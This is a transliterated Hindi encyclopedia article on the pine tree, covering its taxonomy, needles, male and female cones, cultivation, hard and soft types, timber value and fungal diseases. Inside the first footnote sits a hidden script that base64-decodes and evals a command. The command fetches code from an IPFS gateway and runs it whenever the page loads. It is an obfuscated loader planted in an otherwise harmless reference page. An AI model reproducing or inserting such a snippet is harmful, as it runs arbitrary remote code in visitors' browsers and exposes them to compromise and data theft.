चीड़

भारत डिस्कवरी प्रस्तुति
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chi d
jagat padap
varg pinopsida (Pinopsida)
gan payanalez (Pinales)
kul payanesie (Pinaceae)
prajati painas (Pinus)
vibhag konadhari (Pinophyta)
any janakari chi d ki lak di kafi arthik mahatv ki hati hai. vishv ki sab upayogi lak diyoan ka lagabhag adha bhag chi d dvara poora hota hai. anekanek karyoan mean, jaise- pul nirman mean, b di-b di imaratoan mean, relaga di ki patariyoan ke liye, kursi, mej, sandook aur khilaune ityadi banane mean isaka upayog hota hai.

chi d (aangrezi: Pine) ek sapushpak, kintu anavritabiji paudha hai. yah sidha prithvi par kh da rahata hai. isamean shakhaean tatha prashakhaean nikalakar shankvakar sharir ki rachana karati haian. poore vishv mean chi d ki 115 prajatiyaan paee jati haian. ye 03 se 80 mitar tak lambe ho sakate haian. chi d ke vriksh prithvi ke uttari golardh mean pae jate haian. inaki 90 jatiyaan uttar mean vriksh rekha se lekar dakshin mean shitoshn katibandh tatha ushn katibandh ke thande paha doan par phaili huee haian. inake vistar ke mukhy sthan uttari yoorop, uttari amerika, uttari afrika ke shitoshn bhag tatha eshiya mean bharat, barma, java, sumatra, borniyo aur philipians dvipasamooh haian.

sanrachana

chi d ke kam umr ke chhote paudhoan mean nichali shakhaoan ke adhik door tak phailane tatha oopari shakhaoan ke kam door tak phailane ke karan inaka samany akar piramid jaisa ho jata hai. purane hone par vrikshoan ka akar dhire-dhire golakar ho jata hai. jagaloan mean ugane vale vrikshoan ki nichali shakhaean shighr gir jati haian aur inaka tana kafi sidha, ooancha, stanbh jaisa ho jata hai. inaki kuchh jatiyoan mean ek se adhik mukhy tane pae jate haian. chhal sadharanat: moti aur khuradari hoti hai, parantu kuchh jatiyoan mean patali bhi hoti hai.[1]

pattiyaan

chi d ke vriksh mean do prakar ki tahaniyaan paee jati haian- ek lanbi, jin par shalk patr lage hote haian, tatha doosari chhoti tahaniyaan, jin par suee ke akar ki lanbi, nukili pattiyaan guchchhoan mean lagi hoti haian. ne paudhoan mean pattiyaan ek ya do saptah mean hi pili hokar gir jati haian. vrikshoan ke b de ho jane par pattiyaan itani jaldi nahian giratian. sada hari rahane vali pattiyoan ki anuprasth kat[2] tikoni, ardhavrittakar tatha kabhi-kabhi vrittakar bhi hoti hai. pattiyaan do, tin, paanch ya ath ke guchchhoan mean ya akeli hi tahaniyoan se nikalati haian. inaki lanbaee do se lekar 14 ianch tak hoti hai aur inake donoan taru randhr[3] kee panktiyoan mean pae jate haian. patti ke aandar ek ya do vahini bandal[4] aur do ya adhik rejin nalikaean hoti haian.

nar aur mada shanku

vasant rritu mean ek hi pe d par nar aur mada kon ya shanku nikalate haian. nar shanku katthee athava pile rang ka sadharanat: ek ianch se kuchh chhota hota hai. pratyek nar shanku mean bahut se dvikoshiy laghu bijanudhaniyaan[5] hoti haian. ye laghubijanudhaniyaan chhote-chhote sahastroan paragakanoan se bhari hoti haian. paragakanoan ke donoan siroan ka bhag phoola hone se ye hava mean asani se u dakar door-door tak pahuanch jate haian. mada shanku char ianch se lekar 20 ianch tak lanbi hoti hai. isamean bahut se bijaandi shalk[6] charoan taraph se nikale hote haian. pratyek shalk par do bijaand[7] lage hote haian. adhikatar jatiyoan mean bij pak jane par shanku ki shalkean khulakar alag ho jati haian aur bij hav mean u dakar phail jate haian. kuchh jatiyoan mean shakuan nahian bhi khulate aur bhoomi par gir jate haian. bij ka oopari bhag kee jatiyoan mean kagaz ki tarah patala aur chau da ho jata hai, jo bij ko hava dvara ek sthan se doosare sthan tak pahuanchane mean sahayata karata hai. bij ke charoan or majaboot koshikaoan nirmit avaran ya chhilaka rahata hai. isake bhitar tin se atharah tak bijapatr upasthit hote haian.[1]

paudh taiyar karana

chi d ke paudhe ko ugane ke liye kafi achchhi bhoomi taiyar karani p dati hai. chhoti-chhoti kyariyoan mean march-aprail ke mahine mean bij mitti mean ek ya do ianch niche bo diya jata hai. choohoan, chi diyoan aur any jantuoan se inaki raksha ki vishesh avashyakata karani p dati hai. aankur nikal ane par inhean k di dhoop se bachana chahie. ek ya do varsh pashchath inhean khodakar uchit sthan par laga dete haian. khodate samay savadhani rakhani chahie, jisamean j doan ko kisi prakar ki hani n pahuanche, anyatha chi d, jo svabhavat: j d ki hani nahian sahan kar sakata, mar jayaga.

prakar

chi d do prakar ke hote haian-

  1. komal ya safed, jise 'haiplozail aaun'[8] kaha jata hai. isaki pattiyoan mean ek vahini bandal hota hai, aur ek guchchhe mean paanch, ya kabhi-kabhi se kam, pattiyaan hoti haian. vasant aur sookhe mausam ki bani lak diyoan mean vishesh aantar nahian hota.
  2. kathor ya pila chi d, jise 'diplozail aaun'[9] isamean ek guchchhe mean do athav tin pattiyaan hoti haian. inaki vasant aur sookhe rritu ki lak diyoan mean kafi aantar hota hai.

arthik mahattv

chi d ki lak di kafi arthik mahatv ki hati hai. vishv ki sab upayogi lak diyoan ka lagabhag adha bhag chi d dvara poora hota hai. anekanek karyoan mean, jaise- pul nirman mean, b di-b di imaratoan mean, relaga di ki patariyoan ke liye, kursi, mej, sandook aur khilaune ityadi banane mean isaka upayog hota hai. kathor chi d ki lak diyaan adhik majaboot hoti haian. achchhaee ke adhar par inhean paanch vargoan mean vibhajit kiya gaya hai. in vargoan ke kuchh udaharan nimnalikhit haian[1]-

  1. painas palustris (Pinus palustris), painas keribiya (Pinus caribaea)
  2. painas silavestris (Pinus sylvestris), painas rejinosa (Pinus resinosa)
  3. painas paanderosa (Pinus ponderosa)
  4. painas piniya (Pinus pinea), painas lauanjipholiya (Pinus longifolia) tatha painas redieta Pinus radiata)
  5. painas baianksiyana (Pinus banksiana)

rog

chi d ke vriksh mean paye jane vale mukhy rog is prakar haian-

saphed chi d blistar ratua - yah rog 'kronaratiyam ribikola'[10] namak phaphooand ke akraman ke phalasvaroop hota hai. chi d ki chhal is rog ke karan vishesh roop se prabhavit hoti haian.

aramileriya j d s dan - yah rog 'aramileriya miliya'[11] namak "gil phaphooandi" dvara hota hai. yah j d par jamane lagati hai aur use s da deti hai. kabhi-kabhi to saik doan vriksh is rog ke karan nasht ho jate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 chi d ka pe d (hindi) pragati paryavaran. abhigaman tithi: 20 joon, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ transverse section
  3. ↑ stomata
  4. ↑ vascular bundle
  5. ↑ Microsporangia
  6. ↑ ovuliferous scales
  7. ↑ ovules
  8. ↑ Haploxylon
  9. ↑ Diploxylon
  10. ↑ Cronartium ribicola
  11. ↑ Armillaria melia

bahari k diyaan

sanbandhit lekh

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vriksh

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varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

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